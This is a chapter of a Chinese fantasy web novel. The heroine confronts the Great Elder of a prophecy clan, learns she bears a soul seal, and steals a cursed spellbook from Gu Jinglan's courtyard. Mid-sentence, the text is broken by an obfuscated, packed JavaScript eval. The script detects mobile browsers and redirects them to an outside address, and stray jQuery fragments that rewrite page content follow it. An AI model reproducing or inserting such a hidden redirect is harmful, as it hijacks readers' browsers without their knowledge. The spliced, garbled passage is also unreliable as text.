“小人?”苏弦青心里立刻来了火气,“自见到您后,我都恭敬有礼,大长老何出此言呢?”


    大长老义愤填膺:“几年前,你曾化身为另一副模样在少主的身边,引来月栖棠。如今你仍不知悔改,居然还敢来招惹少主,再度引来月栖棠!”


    听了这话,她怔了怔:“月栖棠……是我引来的?”


    “不然呢?”大长老蓄起灵力,召唤出法杖,居然想要活捉她,“只有异世之人才会引来月栖棠,你们就不该来到我们的世界!”


    她立刻张开屏障,挡下大长老的攻击,试图通过寻灵戒联系上宴止涧,可寻灵戒却没有一点反应。


    该死,一定是大长老切断了她与宴止涧的联系。


    是她想来异世的么?若不是系统胁迫,她根本不会穿越到异世。


    这个大长老,不仅满嘴说着听不懂的话,还固执的很!


    她的灵力远在大长老之上,毫不惧怕他的力量。


    但因着宴止涧,她也不想伤了大长老,只得一一躲避他的招数。


    “大长老,您所说的这些我全然不知。如今末世在即,为何不能共同商议对策呢?至少在救世这一点上,我们的目的是一致的。”


    “异世之人,必有异心。”大长老攻势不减,“你与我们的世界毫无干系,又岂会真心帮我们?只要用你的生命献祭,世界的生命自然可以延续。”


    她露出一抹冰冷的笑容:“那你以为,就凭你的实力,能够抓住我么?”


    既然好话已经说尽,她便不再浪费口舌,将灵力化形成一把长剑,又将保护屏障撤去,只一剑便穿透了大长老蓄出的屏障。


    剑尖停留在他喉口几寸的位置,她收了灵力:“您瞧,就算您是预言世家最德高望重的前辈,您也根本无法胜过我。”


    “昔日,你分明没有此等灵力修为。短短数年,竟有了与司辰妖抗衡的实力。”大长老眼看二人实力悬殊至此,将法杖掷落在地,长叹一声,“预言世家沉睡这些年,这世间果然……已经天翻地覆。”


    她收起长剑,负手而立:“大长老,您反复提起曾经,可我分明是第一次见您。”


    见她不似说谎的模样,大长老肃穆的神情终于有了松动。


    他忽然注意到她右肩处的痕迹,手上流转灵力,转手捏了一道符咒置于空中。


    在符咒发挥效用的那一刻,她右肩处的痕迹忽然又变得灼热起来,逐渐显现出一枚印记。


    “这是……”大长老辨认片刻,沉思道,“来自灵魂的封印。”


    “灵魂的封印?”


    “这是这个世界上最深层次的封印,连我也是第一次见。”大长老试探地问道,“曾经的事,你真的一丝一毫都不记得么?”


    她越发茫然,只得摇了摇头。


    大长老收敛起了敌意,将手探上她的额头:“果真是灵魂封印。”


    她疑惑地问道:“大长老,何为灵魂封印?”


    大长老沉声道:“关于灵魂封印的记载很少。古籍上称,被下了灵魂封印的人,将会失去全部的记忆与灵力,直到封印破除为止。”


    “那前辈,我应该怎样做才能破除灵魂封印呢?”


    “随着你灵力日益强大,灵魂封印自会逐渐松动。你右肩浮现的痕迹,便是封印松动的征兆。”大长老缓缓道,“你越强,封印便越脆弱,你与封印的力量此消彼长。终有一日,待封印破除之时,你会寻回完整的自己。”


    可她的灵力已经完全觉醒,再无更加强大的可能。


    究竟还要多么强大的灵力,才能冲破灵魂封印?又是谁给她下了封印?


    她忽然想起无序空间中,她右肩的痕迹正是砚青给她刻下的。


    那时,砚青露出悲悯的眼神,是在帮助她破除封印么?


    随着谜团越来越多,她规划好的计划再次乱了套。


    “罢了,既然忘记了便忘记了吧,忘记也好,便不会记得那么多苦楚。”大长老挥了挥手,“孩子,离开预言世家吧,躲得越远越好,回到你该去的地方去。”


    “大长老,我已加冕了修女,决意守护这个世界。我既做出这个决定,就不会更改。”她伸出手,露出孟箐邈下的灵力印记,“您既知道孟箐邈,便认得这个吧?”


    看见灵力印记之后,大长老先是一怔,居然笑了起来。


    许久,他才长叹道:“作为组织的会首,她竟也这么糊涂,居然选择了你作为拯救世界的变数。”


    他抬手解除了藏书阁的屏障:“异世的孩子,你不必担忧。待少主查阅完古籍之后,屏障自会放他出来,到那时你们便可以相见了,只是……”


    “虽然他们都选择了你,但我还是希望你离开他们。”大长老沉声道,“你究竟是异世的人,虽不知你使了什么手段谋取他们的信任,但我依旧不相信你救世的动机,你走吧。”


    她再次通过寻灵戒呼唤宴止涧,虽然大长老已经解除了屏障,寻灵戒却还是没有反应。


    她只好对大长老盈盈一拜:“前辈,我会向您证明,您是错的。”


    说罢,便转身离开了预言世家。


    大长老打心底不信任她,她与大长老强行交涉毫无异议,只会白白耽搁时间。


    不如由她主动去寻找线索,解开谜团,抢占先机,将命运与机会全都牢牢抓在手里。


    她已在预言世家盘亘了整夜,如今是该去顾家的时候了。


    直觉清晰地告诉她,顾家一定藏着关键线索。眼下她掌握的线索碎片虽多,却始终无法拼成一块完整的地图。


    这其中,必然还缺了至关重要的一环。


    以她的身手,顾家的守卫又岂能拦得住她?她纵身一跃,便悄然落进了顾家,开始搜寻一切可能与巫师相关的痕迹。


    巫师的力量体系并非灵力,无论是痕迹还是气息都极难捕捉,她便选择隐匿身形,径直向顾景澜的居所走去。


    顾景澜与巫师私下里交往密切,他的院子里一定有关于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222401|193762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那个蓝袍巫师的线索。


    在来之前,苏更尘曾告诉她,蓝袍巫师是那群巫师中最强之人,也是顾景澜最敬重的巫师。顾景澜对他有所求,这才供着他,即便不知道他的来历,也唯他马首是瞻。


    待她靠近庭院后,果然感受到了一股非常浓郁的咒术气息,竟毫不掩饰。


    这庭院间,竟设有一个巨大的灵力法阵,是专门用来阻拦能力者的。


    顾景澜这人没规矩,又不正经,保护私隐这方面倒是做的周全。若是普通的能力者,便无法靠近。


    只可惜,布置法阵的能力者的修为远在她之下,光靠这么粗陋的灵力法阵还拦不住她。


    那个蓝袍巫师还是位能力者,这灵力法阵应该就是他的手笔。


    她轻轻一挥,法阵便彻底失去了效用,只维持一个空壳的模样,不会让任何人发现异常。


    待灵力法阵褪去后,中间还有一个咒术结成的小法阵,正中央供着的是一本古籍,而古籍周身却笼罩着浓郁的咒术痕迹。


    若是不经任何防御,直接伸手触碰古籍,便会直接沾染诅咒,直至失去生命。


    顾景澜的心思倒是歹毒。


    不过他倒也蠢得可以,居然把古籍放在这么显眼的地方。虽有两个阵法保护,却根本拦不住她。


    她又是一挥手,施展净化术,便轻松破了上面的诅咒,取到了古籍。


    她翻开古籍,这上面记载的竟是关于咒术的内容,里面写着无数邪术秘术的具体施展方法,其中就包括苏更尘给她下的那个诅咒,叫做离魄。


    离魄术法,便是由普通人赌上自己的灵魂与生命,给强大能力者下的诅咒。当能力者死去后,便会夺取施咒者一半的生息。


    若是施咒者中途反悔,强行解开咒术,便会遭到戾气的反噬,直到完全失去神智。


    而想要彻底解除反噬……需要强大的巫师设阵,将戾气引散。


    也就是说,想要彻底破除苏更尘身上诅咒的反噬,就必须借助蓝袍巫师的力量。


    蓝袍巫师真快把算盘珠子崩到她脸上了。


    她推测的果然不错,顾景澜与巫师联合起来,就是为了一举除掉苏家最有可能的两位继承人。


    只是目前尚不清楚,这究竟是顾景澜的意思,还是巫师的意思。


    此时,有脚步声逐渐向庭院靠近,竟是顾景澜回来了。


    她立即幻化出一本一模一样的咒术古籍放置在法阵中央,同时恢复了灵力法阵的效果,自己则使用灵力隐匿在一旁。


    顾景澜推门而入,三番两次确认法阵并无被破坏的痕迹后,才缓缓行至法阵中间,执着地望向那本古籍。


    他戴上特制的黑色手套,将古籍拿了过来,轻轻抚摸着上面的纹路,目光中居然有着刻骨的眷恋。


    “兄长,你在下面一定很孤单吧?”顾景澜的目光很是偏执,眼中翻涌着近乎疯狂的渴望,“别担心,大师已经应允我,再需七天,你便能回来,回到我身边了。”